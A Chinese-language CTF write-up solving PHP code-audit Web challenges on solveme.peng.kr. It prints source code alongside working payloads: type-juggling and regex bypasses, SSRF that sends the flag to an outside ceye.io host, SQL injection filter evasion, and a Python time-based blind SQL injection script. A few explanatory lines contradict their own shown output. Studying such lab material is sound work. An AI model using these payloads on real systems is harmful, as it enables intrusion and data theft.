前言 最近自己的状态有点迷的,想学点代码审计的东西,又感觉自己的基础太菜。整个人昏昏沉沉的,偶尔逛freebuf看到一篇web题解的文章,
作者在文章提到这个网站的Web题都是PHP审计的题目,于是看看代码,一行一行看代码,一个函数一个函数的理解。也写个题解记录以下。
正文 Warm up 1 2 3 4 5 6 7 <?php error_reporting(0); require __DIR__.'/lib.php'; echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>'; highlight_file(__FILE__);
第一题是解密的题目,一个函数一个函数的理解。
bin2hex() 函数把 ASCII 字符的字符串转换为十六进制值。
strrev() 函数反转字符串。
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
base64_encode() 使用 MIME base64 对数据进行编码。
理解函数的意思,只需要把输出值逆向回去就行了
1 2 3 4 5 6 <?php $flag = "1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY="; echo hex2bin(strrev(bin2hex(base64_decode($flag))));
Bad compare 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting(0); require __DIR__.'/lib.php'; if(isset($_GET['answer'])){ if($_GET['answer'] === '痤迈愈羼滋'){ echo $flag; }else{ echo 'Wrong answer'; } echo '<hr>'; } highlight_file(__FILE__);
以上是我用firefox浏览器打开显示的代码,我这里直接提交
1 http://badcompare.solveme.peng.kr/?answer=痤迈愈羼滋
是可以的,但是在chrome不行。显示的值也不一样。
Winter sleep 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting(0); require __DIR__.'/lib.php'; if(isset($_GET['time'])){ if(!is_numeric($_GET['time'])){ echo 'The time must be number.'; }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){ echo 'This time is too short.'; }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){ echo 'This time is too long.'; }else{ sleep((int)$_GET['time']); echo $flag; } echo '<hr>'; } highlight_file(__FILE__);
看代码的意思是让我们输入一个5184000到7776000之间的数,才能通过判断输出$flag。
但是在最后他会执行sleep函数
这个函数需要等待很长的时间,sleep用到(int)转换为整数型
在PHP中做如下实验
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php echo 60 * 60 * 24 * 30 * 2 ,'<br>'; //5184000 echo 60 * 60 * 24 * 30 * 3,'<br>' ; //7776000 echo (int)'123abc' ,'<br>'; //123 echo (int)'1abc23' ,'<br>'; //1 echo (int)'abc123' ,'<br>'; //0 echo 6e6 ,'<br>'; //6000000 echo (int)'6e6'; //6
从上面代码可以看出,(int)将字符串转换成了int型,比如第三行,将123abc输出为123,第四行把1abc23输出为1。第五行把abc123输出为123
这里我们就可以知道(int)只取字符串中的数字,且只取第一个出现字母前的数字。
所以这里我们可以用科学计数法,6e6这个刚好满足代码的逻辑。
sleep也之执行6秒
1 payload : http://wintersleep.solveme.peng.kr/?time=6e6
Hard login 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting(0); session_start(); require __DIR__.'/lib.php'; if(isset($_GET['username'], $_GET['password'])){ if(isset($_SESSION['hard_login_check'])){ echo 'Already logged in..'; }else if(!isset($_GET['username']{3}) || strtolower($_GET['username']) != $hidden_username){ echo 'Wrong username..'; }else if(!isset($_GET['password']{7}) || $_GET['password'] != $hidden_password){ echo 'Wrong password..'; }else{ $_SESSION['hard_login_check'] = true; echo 'Login success!'; header('Location: ./'); } echo '<hr>'; } highlight_file(__FILE__);
这里看源码
1 2 3 $_GET['username']{3} //取username提交参数的索引号为3的值 $_GET['password']{7} //取username提交参数的索引号为7的值
strtolower() 函数把字符串转换为小写。
满足上面代码给出的条件,最后是会跳转到根目录下。
那我们直接访问网站的根目录,显示是调转到/login.php的。
试试curl或者burpsuite试试。这里在windows下不自带curl命令的,我们可以用windows的git bash
1 curl http://hardlogin.solveme.peng.kr/
这样就可以看到根目录下的源码,发现flag
URL filtering 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting(0); require __DIR__."/lib.php"; $url = urldecode($_SERVER['REQUEST_URI']); $url_query = parse_url($url, PHP_URL_QUERY); $params = explode("&", $url_query); foreach($params as $param){ $idx_equal = strpos($param, "="); if($idx_equal === false){ $key = $param; $value = ""; }else{ $key = substr($param, 0, $idx_equal); $value = substr($param, $idx_equal + 1); } if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){ die("no hack"); } } if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){ die($flag); } highlight_file(__FILE__);
代码函数理解
urldecode — 解码已编码的 URL 字符串
parse_url — 解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
$_SERVER[‘REQUEST_URI’] - 获取域名后面的值,包括/
explode - 把字符串打散为数组。 explode(separator,string,limit) separator表示在哪里分割字符串,string要分割的字符串,limit可选,规定所返回的数组元素的数目。
strpos - 查找字符串在另一字符串中第一次出现的位置,对大小写敏感。
substr - 函数返回字符串的一部分。
由代码的后半部分中1 2 3 if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){ die($flag); }
这里要求我们提交do_you_want_flag=yes去获取flag,但是前半部分由会判断的。
前半段代码中的key值最后为do_you_want_flag,value值为yes。显然是不能过判断的。
这里用到一个函数的漏洞,那就是parse_url()函数。当我们在url中的目前多加一个/
时,他会返回flase。
这样我们就可以绕过前面的判断。例如这题。我们提交payload
1 http://urlfiltering.solveme.peng.kr//?do_you_want_flag=yes
另解:
URL filtering那题,其实感觉上,///
这种解法是非预期的。
根据官方给出的wp,其实可以回来看到题目里有一步多余的url_decode操作,官方wp给出的解法是通过注入%23,使上下获取到的查询字串不对称,从而拿到flag,从代码看来的话,官方wp与题目中的提示更契合。
1 http://urlfiltering.solveme.peng.kr/?%23do_you_want_flag=yes
Hash collision 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting(0); require __DIR__.'/lib.php'; if(isset($_GET['foo'], $_GET['bar'])){ if(strlen($_GET['foo']) > 30 || strlen($_GET['bar']) > 30){ die('Too long'); } if($_GET['foo'] === $_GET['bar']){ die('Same value'); } if(hash('sha512', $_GET['foo']) !== hash('sha512', $_GET['bar'])){ die('Different hash'); } echo $flag, '<hr>'; } highlight_file(__FILE__);
代码函数理解:
strlen - 函数返回字符串的长度。
string hash ( string $algo , string $data [, bool $raw_output = false ] ) algo 要使用的哈希算法 data 要进行哈希运算的消息
这里需要两个不同值的hash相等来通过判断,但是在PHP中可以用数组进行绕过。
1 http://hashcollision.solveme.peng.kr/?foo[]=1&bar[]=2
Array2String 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting(0); require __DIR__.'/lib.php'; $value = $_GET['value']; $username = $_GET['username']; $password = $_GET['password']; for ($i = 0; $i < count($value); ++$i) { if ($_GET['username']) unset($username); if ($value[$i] > 32 && $value[$i] < 127) unset($value); else $username .= chr($value[$i]); if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) { echo 'Hello '.$username.'!', '<br>', PHP_EOL; echo $flag, '<hr>'; } } highlight_file(__FILE__);
代码函数理解:
unset — 释放给定的变量
chr - 函数从指定的 ASCII 值返回字符。
看以上代码,可以看出这里的$username
是通过$value
拼接出来的,这里我们就需要用value拼接出15th_HackingCamp
这里还规定了ASCII值不能在32-127这个范围内。
在PHP中,chr有以下特性。
1 2 3 Note that if the number is higher than 256, it will return the number mod 256. For example : chr(321)=A because A=65(256)
所以用以下脚本生成一个payload:
1 2 3 4 5 6 7 8 9 <?php $username = '15th_HackingCamp'; $arr = str_split($username); foreach($arr as $value){ $value = ord($value) + 256; $payload .= 'value[]=' . $value . '&'; } echo $payload .= 'password=simple_passw0rd';
payload:
1 value[]=305&value[]=309&value[]=372&value[]=360&value[]=351&value[]=328&value[]=353&value[]=355&value[]=363&value[]=361&value[]=366&value[]=359&value[]=323&value[]=353&value[]=365&value[]=368&password=simple_passw0rd
Give me a link 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php error_reporting(0); require __DIR__.'/lib.php'; if(isset($_GET['url'])){ $url = $_GET['url']; if(preg_match('/_|\s|\0/', $url)){ die('Not allowed character'); } if(!preg_match('/^https?\:\/\/'.$_SERVER['HTTP_HOST'].'/i', $url)){ die('Not allowed URL'); } $parse = parse_url($url); if($parse['path'] !== '/plz_give_me'){ die('Not allowed path'); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_exec($ch); curl_close($ch); echo 'Okay, I sent the flag.', '<hr>'; } highlight_file(__FILE__);
代码中用了三个preg_match函数进行过滤
第一个过滤了下划线
第二个限制$_SERVER['HTTP_HOST']
,并且抓包不允许修改HOST
第三个parse_url解析后路径需为/plz_give_me
显然第三个和第一个是矛盾的。但是在官方手册上,parse_url有一个
1 2 url 要解析的 URL。无效字符将使用 _ 来替换。
1 2 3 4 5 6 7 8 <?php $url = urldecode("https://uknowsec.cn/%11test%11"); var_dump(parse_url($url)); 输出: array(3) { ["scheme"]=> string(4) "http" ["host"]=> string(11) "uknowsec.cn" ["path"]=> string(7) "/_test_" }
这样我们就可以绕过第三个和第一个过滤了。
但是我们提交
1 http://givemealink.solveme.peng.kr/?url=http://givemealink.solveme.peng.kr/plz%11give%11me
没有回显是得不到flag的,如何解决Host的问题在官方手册中还有这样一句
1 $url = 'http://username:password@hostname:9090/path?arg=value#anchor';
所以Host的值我们可以构造
1 givemealink.solveme.peng.kr@hostname
我们可以用CEYE.IO来得到flag。
1 http://givemealink.solveme.peng.kr/?url=http://givemealink.solveme.peng.kr@test.xxx.ceye.io/plz%1agive%1ame
Give me a link 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php error_reporting(0); require __DIR__.'/lib.php'; if(isset($_GET['url'])){ $url = $_GET['url']; if(preg_match('/_|\s|\0/', $url)){ die('Not allowed character'); } $parse = parse_url($url); if(!preg_match('/^https?$/i', $parse['scheme'])){ die('Not allowed scheme'); } if(!preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i', $parse['host'])){ die('Not allowed host'); } if(!preg_match('/\/plz_give_me$/', $parse['path'])){ die('Not allowed path'); } $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if($socket === false){ die('Failed to create socket'); } $host = gethostbyname($parse['host']); $port = is_null($parse['port']) ? 80 : $parse['port']; if(socket_connect($socket, $host, $port) === false){ die('Failed to connect'); } $send = "HEAD /".$flag." HTTP/1.1\r\n". "Host: ".$host.":".$port."\r\n". "Connection: Close\r\n". "\r\n\r\n"; socket_write($socket, $send, strlen($send)); $recv = socket_read($socket, 1024);var_dump($recv); if(!preg_match('/^HTTP\/1.1 200 OK\r\n/', $recv)){ die('Not allowed response'); } socket_close($socket); echo 'Okay, I sent the flag.', '<hr>'; } highlight_file(__FILE__);
这个题目和前面一个题目类似,但是这里对host有了新的要求:1 2 3 if(!preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i', $parse['host'])){ die('Not allowed host'); }
正则要求以localhost和127开头,可以用ip2long来绕过
1 2 3 Note: 因为PHP的 integer 类型是有符号,并且有许多的IP地址讲导致在32位系统的情况下为负数, 你需要使用 "%u" 进行转换通过 sprintf() 或 printf() 得到的字符串来表示无符号的IP地址。
在手册中有如上Note,这里如果直接代入负数是不能正常访问的,所以我们要把他转换为无符号的ip地址。
构造脚本如下
1 2 3 4 <?php $ip ='182.254.0.0'; echo ip2long($ip),'<br>'; //-1224867840 printf("%u\n", ip2long($ip)); //3070099456
这里我们代入3070099456发送payload:1 http://givemealink2.solveme.peng.kr/?url=http://3070099456/plz%01give%01me
这里就可以在web服务器日志中查看flag。
Replace filter 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting(0); require __DIR__.'/lib.php'; if(isset($_GET['say']) && strlen($_GET['say']) < 20){ $say = preg_replace('/^(.*)flag(.*)$/', '${1}<!-- filtered -->${2}', $_GET['say']); if(preg_match('/give_me_the_flag/', $say)){ echo $flag; }else{ echo 'What the f**k?'; } echo '<hr>'; } highlight_file(__FILE__);
以上正则是存在一个缺陷的,^ $
界定了必须在同一行,否则匹配不到,所以我们可以用换行符进行绕过
1 http://replacefilter.solveme.peng.kr?say=%0agive_me_the_flag
Hell JS 打开题目,查看源码发现是jsfuck。
一般这种题目是可以直接控制台运行的。但是这里是不行的,
先了解下jsfuck的编码格式
1 2 3 4 eval => []["filter"]["constructor"]( CODE )() 比如: alert(1) => []["filter"]["constructor"]("alert(1)")()
从这里我们可以看出我们可以根据括号匹配提取出alert(1)
的jsfuck代码,而这串代码放到控制台是可以直接运行看到加密之前的结果的。
如下图:
用同样的方法,我们去提取这一串jsfuck代码。这里可以用sublime text来进行括号的匹配
ctrl+shift+空格
快捷键匹配
经过几次匹配就能得到jsfuck代码
Anti SQLi 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php // It's 'Anti SQLi' problem of 'Solve Me'. error_reporting(0); require __DIR__.'/lib.php'; $id = $_GET['id']; $pw = $_GET['pw']; if(isset($id, $pw)){ preg_match( '/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'. '=|<|>|\(|\)|@@|\|\||&&|#|\/\*.*\*\/|--[\s\xA0]|'. '0x[0-9a-f]+|0b[01]+|x\'[0-9a-f]+\'|b\'[01]+\'|'. '[\s\xA0\'"]+(as|or|and|r*like|regexp)[\s\xA0\'"]+|'. 'union[\s\xA0]+select|[\s\xA0](where|having)|'. '[\s\xA0](group|order)[\s\xA0]+by|limit[\s\xA0]+\d|'. 'information_schema|procedure\s+analyse\s*/is', $id.','.$pw ) and die('Hack detected'); $con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname) or die('SQL server down'); $result = mysqli_fetch_array( mysqli_query( $con, "SELECT * FROM `antisqli` WHERE `id`='{$id}' AND `pw`=md5('{$pw}');" ) ); mysqli_close($con); if(isset($result)){ if($result['no'] === '31337'){ echo $flag; }else{ echo 'Hello, ', $result['id']; } }else{ echo 'Login failed'; } echo '<hr>'; } highlight_file(__FILE__);
在正则里的第一行|\\|
没有匹配到\
,所以这个相当于完全没用, 匹配到\
,需要四个\
。因为\
没有被过滤也给了我们逃逸单引号的条件, 只要$_GET['id'] = 1\
就可以逃逸出第一个单引号
在正则中的第二行|#|--[\s\xA0]|
过了用来注释的#
和--
这里的可以用--
加一个不可见字符替代,例如:%01 %11 %02
等
直接尝试?id=1\&pw=–%01 仍然显示login failed, 而这在本地测试中是可行的, 原因是本地测试中 id 被设置为INT, 而在题目中猜测 id 被设置为了VARCHAR, 于是考虑重新构造一个 union 查询
正则中过滤了 union[\s\xA0]+select 但是可以直接用 union all select 来绕过
1 ?id=\&pw=union all select 31337,31337,31337 from antisqli --%11
Name check 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php error_reporting(0); require __DIR__.'/lib.php'; if(isset($_GET['name'])){ $name = $_GET['name']; if(preg_match("/admin|--|;|\(\)|\/\*|\\0/i", $name)){ echo 'Not allowed input'; goto quit; } $sql = new SQLite3('name_check.db', SQLITE3_OPEN_READWRITE); $res = $sql->query(" SELECT MAX('0','1','{$name}') LIKE 'a%', INSTR('{$name}','d')>0, MIN('{$name}','b','c') LIKE '__m__', SUBSTR('{$name}',-2)='in' ;"); if($res === false){ echo 'Database error'; goto quit; } $row = $res->fetchArray(SQLITE3_NUM); if( $row[0] + $row[1] + $row[2] + $row[3] !== 4 || array_sum($row) !== 4 ){ echo 'Auth failed'; goto quit; } echo $flag; quit: echo '<hr>'; } highlight_file(__FILE__);
从上面代码中可以看出满足 row[0] + $row[1] + $row[2] + $row[3] = 4
就能输出flag。这个表达式的意思就是sql
语句四个都为true。
1 2 3 4 MAX('0','1','{$name}') LIKE 'a%', \\name的首字母为a INSTR('{$name}','d')>0, \\name中有d MIN('{$name}','b','c') LIKE '__m__', \\name中间的字母为m SUBSTR('{$name}',-2)='in' \\name以in结尾
从上面的代码可以看出这里需要传入的$name
的值就是admin
,但是上面有正则过滤了admin
sqlite的特性考虑查阅手册发现:1 SQLite中,连接字符串不是使用+,而是使用||
且||
没有被过滤
1 http://namecheck.solveme.peng.kr/?name=adm'||'in
I am slowly 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php // It's 'I am slowly' problem of 'Solve Me'. error_reporting(0); require __DIR__.'/lib.php'; $table = 'iamslowly_'.ip2long($_SERVER['REMOTE_ADDR']); $answer = $_GET['answer']; if(isset($answer)){ $con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname) or die('SQL server down'); $result = mysqli_fetch_array( mysqli_query($con, "SELECT `count` FROM `{$table}`;") ); if(!isset($result)){ mysqli_query($con, "CREATE TABLE IF NOT EXISTS `{$table}` (`answer` char(32) NOT NULL, `count` int(4) NOT NULL);"); $new_answer = md5(sha1('iamslowly_'.mt_rand().'_'.mt_rand().'_'.mt_rand())); mysqli_query($con, "INSERT INTO `{$table}` (`answer`,`count`) VALUES ('{$new_answer}',1);"); }elseif($result['count'] === '12'){ mysqli_query($con, "DROP TABLE `{$table}`;"); echo 'Game over'; goto quit; } $randtime = mt_rand(1, 10); $result = mysqli_fetch_array( mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';") ); if(isset($result) && $result['answer'] === $answer){ mysqli_query($con, "DROP TABLE `{$table}`;"); echo $flag; }else{ mysqli_query($con, "UPDATE `{$table}` SET `count`=`count`+1;"); echo 'Go fast'; } quit: mysqli_close($con); echo '<hr>'; } highlight_file(__FILE__);
代码前面是连接MySQL数据库,并判断当前ip的信息是否存在,若不存在插入新的记录。
这里对count
值进行判断,如果count
的值等于12就把数据库中跟当前ip有关的表删除。
mysqli_query($con, "SELECT * FROM
{$table}WHERE sleep({$randtime}) OR
answer='{$answer}';")
这里可以利用answer
进行延迟盲注,但是如果我们请求的次数等于12时就会被删表。
所以我们需要绕过count = 12
这一个判断,这里有个问题就是代码是先执行SQL语句查询,再执行count++
。
所以可以在count = 11
时加入sleep(50)
一个比较长的延迟时间。这个时候立即再发一个请求。这个时候count = 12
了,
等之前的count = 11
的请求完成时,此时的count = 13
了,这样就绕过了限制,可以无限的进行请求了。
至此我们就可以用写好的盲注脚本跑盲注了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requests answer = "" for i in range(1, 33): for j in "abcdef1234567890": url = "http://iamslowly.thinkout.rf.gd/?answer=' or if((answer like '%s%%'),sleep(30),1)%%23" % ( answer + j) try: r = requests.get(url=url, timeout=29) print("i:", i, "j:", j, r.content[:10]) except: answer += j print("answer:", answer) break
提交answer,得到flag.
Reference Solveme.peng.kr平台Web题解